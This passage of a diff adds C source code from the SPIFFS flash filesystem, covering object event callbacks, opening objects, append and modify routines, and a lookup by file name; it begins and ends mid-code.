nsz:"_SPIPRIi"\n", (const char *[]) {"UPD", "NEW", "DEL", "MOV", "HUP", "???"}[MIN(ev, 5)], + obj_id_raw, spix, new_pix, new_size); + for (i = 0; i < fs->fd_count; i++) { + spiffs_fd *cur_fd = &fds[i]; + if ((cur_fd->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG) != obj_id) continue; // fd not related to updated file +#if !SPIFFS_TEMPORAL_FD_CACHE + if (cur_fd->file_nbr == 0) continue; // fd closed +#endif + if (spix == 0) { // object index header update + if (ev != SPIFFS_EV_IX_DEL) { +#if SPIFFS_TEMPORAL_FD_CACHE + if (cur_fd->score == 0) continue; // never used fd +#endif + SPIFFS_DBG(" callback: setting fd "_SPIPRIfd":"_SPIPRIid"(fdoffs:"_SPIPRIi" offs:"_SPIPRIi") objix_hdr_pix to "_SPIPRIpg", size:"_SPIPRIi"\n", + SPIFFS_FH_OFFS(fs, cur_fd->file_nbr), cur_fd->obj_id, cur_fd->fdoffset, cur_fd->offset, new_pix, new_size); + cur_fd->objix_hdr_pix = new_pix; + if (new_size != 0) { + // update size and offsets for fds to this file + cur_fd->size = new_size; + u32_t act_new_size = new_size == SPIFFS_UNDEFINED_LEN ? 0 : new_size; +#if SPIFFS_CACHE_WR + if (act_new_size > 0 && cur_fd->cache_page) { + act_new_size = MAX(act_new_size, cur_fd->cache_page->ucache.swrc.offset + cur_fd->cache_page->ucache.swrc.size); + } +#endif + if (cur_fd->offset > act_new_size) { + cur_fd->offset = act_new_size; + } + if (cur_fd->fdoffset > act_new_size) { + cur_fd->fdoffset = act_new_size; + } +#if SPIFFS_CACHE_WR + if (cur_fd->cache_page && cur_fd->cache_page->ucache.swrc.offset > act_new_size + 1) { + SPIFFS_CACHE_DBG("CACHE_DROP: file trunced, dropping cache page "_SPIPRIi", no writeback\n", cur_fd->cache_page->ix); + spiffs_cache_fd_release(fs, cur_fd->cache_page); + } +#endif + } + } else { + // removing file +#if SPIFFS_CACHE_WR + if (cur_fd->file_nbr && cur_fd->cache_page) { + SPIFFS_CACHE_DBG("CACHE_DROP: file deleted, dropping cache page "_SPIPRIi", no writeback\n", cur_fd->cache_page->ix); + spiffs_cache_fd_release(fs, cur_fd->cache_page); + } +#endif + SPIFFS_DBG(" callback: release fd "_SPIPRIfd":"_SPIPRIid" span:"_SPIPRIsp" objix_pix to "_SPIPRIpg"\n", SPIFFS_FH_OFFS(fs, cur_fd->file_nbr), cur_fd->obj_id, spix, new_pix); + cur_fd->file_nbr = 0; + cur_fd->obj_id = SPIFFS_OBJ_ID_DELETED; + } + } // object index header update + if (cur_fd->cursor_objix_spix == spix) { + if (ev != SPIFFS_EV_IX_DEL) { + SPIFFS_DBG(" callback: setting fd "_SPIPRIfd":"_SPIPRIid" span:"_SPIPRIsp" objix_pix to "_SPIPRIpg"\n", SPIFFS_FH_OFFS(fs, cur_fd->file_nbr), cur_fd->obj_id, spix, new_pix); + cur_fd->cursor_objix_pix = new_pix; + } else { + cur_fd->cursor_objix_pix = 0; + } + } + } // fd update loop + +#if SPIFFS_IX_MAP + + // update index maps + if (ev == SPIFFS_EV_IX_UPD || ev == SPIFFS_EV_IX_NEW) { + for (i = 0; i < fs->fd_count; i++) { + spiffs_fd *cur_fd = &fds[i]; + // check fd opened, having ix map, match obj id + if (cur_fd->file_nbr == 0 || + cur_fd->ix_map == 0 || + (cur_fd->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG) != obj_id) continue; + SPIFFS_DBG(" callback: map ix update fd "_SPIPRIfd":"_SPIPRIid" span:"_SPIPRIsp"\n", SPIFFS_FH_OFFS(fs, cur_fd->file_nbr), cur_fd->obj_id, spix); + spiffs_update_ix_map(fs, cur_fd, spix, objix); + } + } + +#endif + + // callback to user if object index header + if (fs->file_cb_f && spix == 0 && (obj_id_raw & SPIFFS_OBJ_ID_IX_FLAG)) { + spiffs_fileop_type op; + if (ev == SPIFFS_EV_IX_NEW) { + op = SPIFFS_CB_CREATED; + } else if (ev == SPIFFS_EV_IX_UPD || + ev == SPIFFS_EV_IX_MOV || + ev == SPIFFS_EV_IX_UPD_HDR) { + op = SPIFFS_CB_UPDATED; + } else if (ev == SPIFFS_EV_IX_DEL) { + op = SPIFFS_CB_DELETED; + } else { + SPIFFS_DBG(" callback: WARNING unknown callback event "_SPIPRIi"\n", ev); + return; // bail out + } + fs->file_cb_f(fs, op, obj_id, new_pix); + } +} + +// Open object by id +s32_t spiffs_object_open_by_id( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_fd *fd, + spiffs_flags flags, + spiffs_mode mode) { + s32_t res = SPIFFS_OK; + spiffs_page_ix pix; + + res = spiffs_obj_lu_find_id_and_span(fs, obj_id | SPIFFS_OBJ_ID_IX_FLAG, 0, 0, &pix); + SPIFFS_CHECK_RES(res); + + res = spiffs_object_open_by_page(fs, pix, fd, flags, mode); + + return res; +} + +// Open object by page index +s32_t spiffs_object_open_by_page( + spiffs *fs, + spiffs_page_ix pix, + spiffs_fd *fd, + spiffs_flags flags, + spiffs_mode mode) { + (void)mode; + s32_t res = SPIFFS_OK; + spiffs_page_object_ix_header oix_hdr; + spiffs_obj_id obj_id; + + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, pix), sizeof(spiffs_page_object_ix_header), (u8_t *)&oix_hdr); + SPIFFS_CHECK_RES(res); + + spiffs_block_ix bix = SPIFFS_BLOCK_FOR_PAGE(fs, pix); + int entry = SPIFFS_OBJ_LOOKUP_ENTRY_FOR_PAGE(fs, pix); + + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, SPIFFS_BLOCK_TO_PADDR(fs, bix) + entry * sizeof(spiffs_obj_id), sizeof(spiffs_obj_id), (u8_t *)&obj_id); + + fd->fs = fs; + fd->objix_hdr_pix = pix; + fd->size = oix_hdr.size; + fd->offset = 0; + fd->cursor_objix_pix = pix; + fd->cursor_objix_spix = 0; + fd->obj_id = obj_id; + fd->flags = flags; + + SPIFFS_VALIDATE_OBJIX(oix_hdr.p_hdr, fd->obj_id, 0); + + SPIFFS_DBG("open: fd "_SPIPRIfd" is obj id "_SPIPRIid"\n", SPIFFS_FH_OFFS(fs, fd->file_nbr), fd->obj_id); + + return res; +} + +#if !SPIFFS_READ_ONLY +// Append to object +// keep current object index (header) page in fs->work buffer +s32_t spiffs_object_append(spiffs_fd *fd, u32_t offset, u8_t *data, u32_t len) { + spiffs *fs = fd->fs; + s32_t res = SPIFFS_OK; + u32_t written = 0; + + SPIFFS_DBG("append: "_SPIPRIi" bytes @ offs "_SPIPRIi" of size "_SPIPRIi"\n", len, offset, fd->size); + + if (offset > fd->size) { + SPIFFS_DBGF("append: offset reversed to size\n"); + offset = fd->size; + } + + res = spiffs_gc_check(fs, len + SPIFFS_DATA_PAGE_SIZE(fs)); // add an extra page of data worth for meta + if (res != SPIFFS_OK) { + SPIFFS_DBG("append: gc check fail "_SPIPRIi"\n", res); + } + SPIFFS_CHECK_RES(res); + + spiffs_page_object_ix_header *objix_hdr = (spiffs_page_object_ix_header *)fs->work; + spiffs_page_object_ix *objix = (spiffs_page_object_ix *)fs->work; + spiffs_page_header p_hdr; + + spiffs_span_ix cur_objix_spix = 0; + spiffs_span_ix prev_objix_spix = (spiffs_span_ix) - 1; + spiffs_page_ix cur_objix_pix = fd->objix_hdr_pix; + spiffs_page_ix new_objix_hdr_page; + + spiffs_span_ix data_spix = offset / SPIFFS_DATA_PAGE_SIZE(fs); + spiffs_page_ix data_page; + u32_t page_offs = offset % SPIFFS_DATA_PAGE_SIZE(fs); + + // write all data + while (res == SPIFFS_OK && written < len) { + // calculate object index page span index + cur_objix_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, data_spix); + + // handle storing and loading of object indices + if (cur_objix_spix != prev_objix_spix) { + // new object index page + // within this clause we return directly if something fails, object index mess-up + if (written > 0) { + // store previous object index page, unless first pass + SPIFFS_DBG("append: "_SPIPRIid" store objix "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi"\n", fd->obj_id, + cur_objix_pix, prev_objix_spix, written); + if (prev_objix_spix == 0) { + // this is an update to object index header page + objix_hdr->size = offset + written; + if (offset == 0) { + // was an empty object, update same page (size was 0xffffffff) + res = spiffs_page_index_check(fs, fd, cur_objix_pix, 0); + SPIFFS_CHECK_RES(res); + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_UPDT, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, cur_objix_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res); + } else { + // was a nonempty object, update to new page + res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, + fd->objix_hdr_pix, fs->work, 0, 0, offset + written, &new_objix_hdr_page); + SPIFFS_CHECK_RES(res); + SPIFFS_DBG("append: "_SPIPRIid" store new objix_hdr, "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi"\n", fd->obj_id, + new_objix_hdr_page, 0, written); + } + } else { + // this is an update to an object index page + res = spiffs_page_index_check(fs, fd, cur_objix_pix, prev_objix_spix); + SPIFFS_CHECK_RES(res); + + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_UPDT, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, cur_objix_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)fs->work, + SPIFFS_EV_IX_UPD, fd->obj_id, objix->p_hdr.span_ix, cur_objix_pix, 0); + // update length in object index header page + res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, + fd->objix_hdr_pix, 0, 0, 0, offset + written, &new_objix_hdr_page); + SPIFFS_CHECK_RES(res); + SPIFFS_DBG("append: "_SPIPRIid" store new size I "_SPIPRIi" in objix_hdr, "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi"\n", fd->obj_id, + offset + written, new_objix_hdr_page, 0, written); + } + fd->size = offset + written; + fd->offset = offset + written; + } + + // create or load new object index page + if (cur_objix_spix == 0) { + // load object index header page, must always exist + SPIFFS_DBG("append: "_SPIPRIid" load objixhdr page "_SPIPRIpg":"_SPIPRIsp"\n", fd->obj_id, cur_objix_pix, cur_objix_spix); + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, cur_objix_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res); + SPIFFS_VALIDATE_OBJIX(objix_hdr->p_hdr, fd->obj_id, cur_objix_spix); + } else { + spiffs_span_ix len_objix_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, (fd->size - 1) / SPIFFS_DATA_PAGE_SIZE(fs)); + // on subsequent passes, create a new object index page + if (written > 0 || cur_objix_spix > len_objix_spix) { + p_hdr.obj_id = fd->obj_id | SPIFFS_OBJ_ID_IX_FLAG; + p_hdr.span_ix = cur_objix_spix; + p_hdr.flags = 0xff & ~(SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_INDEX); + res = spiffs_page_allocate_data(fs, fd->obj_id | SPIFFS_OBJ_ID_IX_FLAG, + &p_hdr, 0, 0, 0, 1, &cur_objix_pix); + SPIFFS_CHECK_RES(res); + // quick "load" of new object index page + memset(fs->work, 0xff, SPIFFS_CFG_LOG_PAGE_SZ(fs)); + _SPIFFS_MEMCPY(fs->work, &p_hdr, sizeof(spiffs_page_header)); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)fs->work, + SPIFFS_EV_IX_NEW, fd->obj_id, cur_objix_spix, cur_objix_pix, 0); + SPIFFS_DBG("append: "_SPIPRIid" create objix page, "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi"\n", fd->obj_id + , cur_objix_pix, cur_objix_spix, written); + } else { + // on first pass, we load existing object index page + spiffs_page_ix pix; + SPIFFS_DBG("append: "_SPIPRIid" find objix span_ix:"_SPIPRIsp"\n", fd->obj_id, cur_objix_spix); + if (fd->cursor_objix_spix == cur_objix_spix) { + pix = fd->cursor_objix_pix; + } else { + res = spiffs_obj_lu_find_id_and_span(fs, fd->obj_id | SPIFFS_OBJ_ID_IX_FLAG, cur_objix_spix, 0, &pix); + SPIFFS_CHECK_RES(res); + } + SPIFFS_DBG("append: "_SPIPRIid" found object index at page "_SPIPRIpg" [fd size "_SPIPRIi"]\n", fd->obj_id, pix, fd->size); + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res); + SPIFFS_VALIDATE_OBJIX(objix_hdr->p_hdr, fd->obj_id, cur_objix_spix); + cur_objix_pix = pix; + } + fd->cursor_objix_pix = cur_objix_pix; + fd->cursor_objix_spix = cur_objix_spix; + fd->offset = offset + written; + fd->size = offset + written; + } + prev_objix_spix = cur_objix_spix; + } + + // write data + u32_t to_write = MIN(len - written, SPIFFS_DATA_PAGE_SIZE(fs) - page_offs); + if (page_offs == 0) { + // at beginning of a page, allocate and write a new page of data + p_hdr.obj_id = fd->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG; + p_hdr.span_ix = data_spix; + p_hdr.flags = 0xff & ~(SPIFFS_PH_FLAG_FINAL); // finalize immediately + res = spiffs_page_allocate_data(fs, fd->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, + &p_hdr, &data[written], to_write, page_offs, 1, &data_page); + SPIFFS_DBG("append: "_SPIPRIid" store new data page, "_SPIPRIpg":"_SPIPRIsp" offset:"_SPIPRIi", len "_SPIPRIi", written "_SPIPRIi"\n", fd->obj_id, + data_page, data_spix, page_offs, to_write, written); + } else { + // append to existing page, fill out free data in existing page + if (cur_objix_spix == 0) { + // get data page from object index header page + data_page = ((spiffs_page_ix *)((u8_t *)objix_hdr + sizeof(spiffs_page_object_ix_header)))[data_spix]; + } else { + // get data page from object index page + data_page = ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, data_spix)]; + } + + res = spiffs_page_data_check(fs, fd, data_page, data_spix); + SPIFFS_CHECK_RES(res); + + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, data_page) + sizeof(spiffs_page_header) + page_offs, to_write, &data[written]); + SPIFFS_DBG("append: "_SPIPRIid" store to existing data page, "_SPIPRIpg":"_SPIPRIsp" offset:"_SPIPRIi", len "_SPIPRIi", written "_SPIPRIi"\n", fd->obj_id + , data_page, data_spix, page_offs, to_write, written); + } + + if (res != SPIFFS_OK) break; + + // update memory representation of object index page with new data page + if (cur_objix_spix == 0) { + // update object index header page + ((spiffs_page_ix *)((u8_t *)objix_hdr + sizeof(spiffs_page_object_ix_header)))[data_spix] = data_page; + SPIFFS_DBG("append: "_SPIPRIid" wrote page "_SPIPRIpg" to objix_hdr entry "_SPIPRIsp" in mem\n", fd->obj_id + , data_page, data_spix); + objix_hdr->size = offset + written; + } else { + // update object index page + ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, data_spix)] = data_page; + SPIFFS_DBG("append: "_SPIPRIid" wrote page "_SPIPRIpg" to objix entry "_SPIPRIsp" in mem\n", fd->obj_id + , data_page, (spiffs_span_ix)SPIFFS_OBJ_IX_ENTRY(fs, data_spix)); + } + + // update internals + page_offs = 0; + data_spix++; + written += to_write; + } // while all data + + fd->size = offset + written; + fd->offset = offset + written; + fd->cursor_objix_pix = cur_objix_pix; + fd->cursor_objix_spix = cur_objix_spix; + + // finalize updated object indices + s32_t res2 = SPIFFS_OK; + if (cur_objix_spix != 0) { + // wrote beyond object index header page + // write last modified object index page, unless object header index page + SPIFFS_DBG("append: "_SPIPRIid" store objix page, "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi"\n", fd->obj_id, + cur_objix_pix, cur_objix_spix, written); + + res2 = spiffs_page_index_check(fs, fd, cur_objix_pix, cur_objix_spix); + SPIFFS_CHECK_RES(res2); + + res2 = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_UPDT, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, cur_objix_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res2); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)fs->work, + SPIFFS_EV_IX_UPD, fd->obj_id, objix->p_hdr.span_ix, cur_objix_pix, 0); + + // update size in object header index page + res2 = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, + fd->objix_hdr_pix, 0, 0, 0, offset + written, &new_objix_hdr_page); + SPIFFS_DBG("append: "_SPIPRIid" store new size II "_SPIPRIi" in objix_hdr, "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi", res "_SPIPRIi"\n", fd->obj_id + , offset + written, new_objix_hdr_page, 0, written, res2); + SPIFFS_CHECK_RES(res2); + } else { + // wrote within object index header page + if (offset == 0) { + // wrote to empty object - simply update size and write whole page + objix_hdr->size = offset + written; + SPIFFS_DBG("append: "_SPIPRIid" store fresh objix_hdr page, "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi"\n", fd->obj_id + , cur_objix_pix, cur_objix_spix, written); + + res2 = spiffs_page_index_check(fs, fd, cur_objix_pix, cur_objix_spix); + SPIFFS_CHECK_RES(res2); + + res2 = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_UPDT, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, cur_objix_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res2); + // callback on object index update + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)fs->work, + SPIFFS_EV_IX_UPD_HDR, fd->obj_id, objix_hdr->p_hdr.span_ix, cur_objix_pix, objix_hdr->size); + } else { + // modifying object index header page, update size and make new copy + res2 = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, + fd->objix_hdr_pix, fs->work, 0, 0, offset + written, &new_objix_hdr_page); + SPIFFS_DBG("append: "_SPIPRIid" store modified objix_hdr page, "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi"\n", fd->obj_id + , new_objix_hdr_page, 0, written); + SPIFFS_CHECK_RES(res2); + } + } + + return res; +} // spiffs_object_append +#endif // !SPIFFS_READ_ONLY + +#if !SPIFFS_READ_ONLY +// Modify object +// keep current object index (header) page in fs->work buffer +s32_t spiffs_object_modify(spiffs_fd *fd, u32_t offset, u8_t *data, u32_t len) { + spiffs *fs = fd->fs; + s32_t res = SPIFFS_OK; + u32_t written = 0; + + res = spiffs_gc_check(fs, len + SPIFFS_DATA_PAGE_SIZE(fs)); + SPIFFS_CHECK_RES(res); + + spiffs_page_object_ix_header *objix_hdr = (spiffs_page_object_ix_header *)fs->work; + spiffs_page_object_ix *objix = (spiffs_page_object_ix *)fs->work; + spiffs_page_header p_hdr; + + spiffs_span_ix cur_objix_spix = 0; + spiffs_span_ix prev_objix_spix = (spiffs_span_ix) - 1; + spiffs_page_ix cur_objix_pix = fd->objix_hdr_pix; + spiffs_page_ix new_objix_hdr_pix; + + spiffs_span_ix data_spix = offset / SPIFFS_DATA_PAGE_SIZE(fs); + spiffs_page_ix data_pix; + u32_t page_offs = offset % SPIFFS_DATA_PAGE_SIZE(fs); + + + // write all data + while (res == SPIFFS_OK && written < len) { + // calculate object index page span index + cur_objix_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, data_spix); + + // handle storing and loading of object indices + if (cur_objix_spix != prev_objix_spix) { + // new object index page + // within this clause we return directly if something fails, object index mess-up + if (written > 0) { + // store previous object index (header) page, unless first pass + if (prev_objix_spix == 0) { + // store previous object index header page + res = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, + fd->objix_hdr_pix, fs->work, 0, 0, 0, &new_objix_hdr_pix); + SPIFFS_DBG("modify: store modified objix_hdr page, "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi"\n", new_objix_hdr_pix, 0, written); + SPIFFS_CHECK_RES(res); + } else { + // store new version of previous object index page + spiffs_page_ix new_objix_pix; + + res = spiffs_page_index_check(fs, fd, cur_objix_pix, prev_objix_spix); + SPIFFS_CHECK_RES(res); + + res = spiffs_page_move(fs, fd->file_nbr, (u8_t *)objix, fd->obj_id, 0, cur_objix_pix, &new_objix_pix); + SPIFFS_DBG("modify: store previous modified objix page, "_SPIPRIid":"_SPIPRIsp", written "_SPIPRIi"\n", new_objix_pix, objix->p_hdr.span_ix, written); + SPIFFS_CHECK_RES(res); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)objix, + SPIFFS_EV_IX_UPD, fd->obj_id, objix->p_hdr.span_ix, new_objix_pix, 0); + } + } + + // load next object index page + if (cur_objix_spix == 0) { + // load object index header page, must exist + SPIFFS_DBG("modify: load objixhdr page "_SPIPRIpg":"_SPIPRIsp"\n", cur_objix_pix, cur_objix_spix); + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, cur_objix_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res); + SPIFFS_VALIDATE_OBJIX(objix_hdr->p_hdr, fd->obj_id, cur_objix_spix); + } else { + // load existing object index page on first pass + spiffs_page_ix pix; + SPIFFS_DBG("modify: find objix span_ix:"_SPIPRIsp"\n", cur_objix_spix); + if (fd->cursor_objix_spix == cur_objix_spix) { + pix = fd->cursor_objix_pix; + } else { + res = spiffs_obj_lu_find_id_and_span(fs, fd->obj_id | SPIFFS_OBJ_ID_IX_FLAG, cur_objix_spix, 0, &pix); + SPIFFS_CHECK_RES(res); + } + SPIFFS_DBG("modify: found object index at page "_SPIPRIpg"\n", pix); + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res); + SPIFFS_VALIDATE_OBJIX(objix_hdr->p_hdr, fd->obj_id, cur_objix_spix); + cur_objix_pix = pix; + } + fd->cursor_objix_pix = cur_objix_pix; + fd->cursor_objix_spix = cur_objix_spix; + fd->offset = offset + written; + prev_objix_spix = cur_objix_spix; + } + + // write partial data + u32_t to_write = MIN(len - written, SPIFFS_DATA_PAGE_SIZE(fs) - page_offs); + spiffs_page_ix orig_data_pix; + if (cur_objix_spix == 0) { + // get data page from object index header page + orig_data_pix = ((spiffs_page_ix *)((u8_t *)objix_hdr + sizeof(spiffs_page_object_ix_header)))[data_spix]; + } else { + // get data page from object index page + orig_data_pix = ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, data_spix)]; + } + + p_hdr.obj_id = fd->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG; + p_hdr.span_ix = data_spix; + p_hdr.flags = 0xff; + if (page_offs == 0 && to_write == SPIFFS_DATA_PAGE_SIZE(fs)) { + // a full page, allocate and write a new page of data + res = spiffs_page_allocate_data(fs, fd->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, + &p_hdr, &data[written], to_write, page_offs, 1, &data_pix); + SPIFFS_DBG("modify: store new data page, "_SPIPRIpg":"_SPIPRIsp" offset:"_SPIPRIi", len "_SPIPRIi", written "_SPIPRIi"\n", data_pix, data_spix, page_offs, to_write, written); + if (res != SPIFFS_OK) break; + } else { + // write to existing page, allocate new and copy unmodified data + + res = spiffs_page_data_check(fs, fd, orig_data_pix, data_spix); + SPIFFS_CHECK_RES(res); + + res = spiffs_page_allocate_data(fs, fd->obj_id & ~SPIFFS_OBJ_ID_IX_FLAG, + &p_hdr, 0, 0, 0, 0, &data_pix); + if (res != SPIFFS_OK) break; + + // copy unmodified data + if (page_offs > 0) { + // before modification + res = spiffs_phys_cpy(fs, fd->file_nbr, + SPIFFS_PAGE_TO_PADDR(fs, data_pix) + sizeof(spiffs_page_header), + SPIFFS_PAGE_TO_PADDR(fs, orig_data_pix) + sizeof(spiffs_page_header), + page_offs); + if (res != SPIFFS_OK) break; + } + if (page_offs + to_write < SPIFFS_DATA_PAGE_SIZE(fs)) { + // after modification + res = spiffs_phys_cpy(fs, fd->file_nbr, + SPIFFS_PAGE_TO_PADDR(fs, data_pix) + sizeof(spiffs_page_header) + page_offs + to_write, + SPIFFS_PAGE_TO_PADDR(fs, orig_data_pix) + sizeof(spiffs_page_header) + page_offs + to_write, + SPIFFS_DATA_PAGE_SIZE(fs) - (page_offs + to_write)); + if (res != SPIFFS_OK) break; + } + + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + fd->file_nbr, + SPIFFS_PAGE_TO_PADDR(fs, data_pix) + sizeof(spiffs_page_header) + page_offs, to_write, &data[written]); + if (res != SPIFFS_OK) break; + p_hdr.flags &= ~SPIFFS_PH_FLAG_FINAL; + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + fd->file_nbr, + SPIFFS_PAGE_TO_PADDR(fs, data_pix) + offsetof(spiffs_page_header, flags), + sizeof(u8_t), + (u8_t *)&p_hdr.flags); + if (res != SPIFFS_OK) break; + + SPIFFS_DBG("modify: store to existing data page, src:"_SPIPRIpg", dst:"_SPIPRIpg":"_SPIPRIsp" offset:"_SPIPRIi", len "_SPIPRIi", written "_SPIPRIi"\n", orig_data_pix, data_pix, data_spix, page_offs, to_write, written); + } + + // delete original data page + res = spiffs_page_delete(fs, orig_data_pix); + if (res != SPIFFS_OK) break; + // update memory representation of object index page with new data page + if (cur_objix_spix == 0) { + // update object index header page + ((spiffs_page_ix *)((u8_t *)objix_hdr + sizeof(spiffs_page_object_ix_header)))[data_spix] = data_pix; + SPIFFS_DBG("modify: wrote page "_SPIPRIpg" to objix_hdr entry "_SPIPRIsp" in mem\n", data_pix, data_spix); + } else { + // update object index page + ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, data_spix)] = data_pix; + SPIFFS_DBG("modify: wrote page "_SPIPRIpg" to objix entry "_SPIPRIsp" in mem\n", data_pix, (spiffs_span_ix)SPIFFS_OBJ_IX_ENTRY(fs, data_spix)); + } + + // update internals + page_offs = 0; + data_spix++; + written += to_write; + } // while all data + + fd->offset = offset + written; + fd->cursor_objix_pix = cur_objix_pix; + fd->cursor_objix_spix = cur_objix_spix; + + // finalize updated object indices + s32_t res2 = SPIFFS_OK; + if (cur_objix_spix != 0) { + // wrote beyond object index header page + // write last modified object index page + // move and update page + spiffs_page_ix new_objix_pix; + + res2 = spiffs_page_index_check(fs, fd, cur_objix_pix, cur_objix_spix); + SPIFFS_CHECK_RES(res2); + + res2 = spiffs_page_move(fs, fd->file_nbr, (u8_t *)objix, fd->obj_id, 0, cur_objix_pix, &new_objix_pix); + SPIFFS_DBG("modify: store modified objix page, "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi"\n", new_objix_pix, cur_objix_spix, written); + fd->cursor_objix_pix = new_objix_pix; + fd->cursor_objix_spix = cur_objix_spix; + SPIFFS_CHECK_RES(res2); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)objix, + SPIFFS_EV_IX_UPD, fd->obj_id, objix->p_hdr.span_ix, new_objix_pix, 0); + + } else { + // wrote within object index header page + res2 = spiffs_object_update_index_hdr(fs, fd, fd->obj_id, + fd->objix_hdr_pix, fs->work, 0, 0, 0, &new_objix_hdr_pix); + SPIFFS_DBG("modify: store modified objix_hdr page, "_SPIPRIpg":"_SPIPRIsp", written "_SPIPRIi"\n", new_objix_hdr_pix, 0, written); + SPIFFS_CHECK_RES(res2); + } + + return res; +} // spiffs_object_modify +#endif // !SPIFFS_READ_ONLY + +static s32_t spiffs_object_find_object_index_header_by_name_v( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_block_ix bix, + int ix_entry, + const void *user_const_p, + void *user_var_p) { + (void)user_var_p; + s32_t res; + spiffs_page_object_ix_header objix_hdr; + spiffs_page_ix pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, ix_entry); + if (obj_id == SPIFFS_OBJ_ID_FREE || obj_id == SPIFFS_OBJ_ID_DELETED || + (obj_id & SPIFFS_OBJ_ID_IX_FLAG) == 0) { + return SPIFFS_VIS_COUNTINUE; + } + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, pix), sizeof(spiffs_page_object_ix_header), (u8_t *)&objix_hdr); + SPIFFS_CHECK_RES(res); + if (objix_hdr.p_hdr.span_ix == 0 && + (objix_hdr.p_hdr.flags & (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_IXDELE)) == + (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_IXDELE)) { + if (strcmp((const char *)user_const_p, (char *)objix_hdr.name) == 0) { + return SPIFFS_OK; + } + } + + return 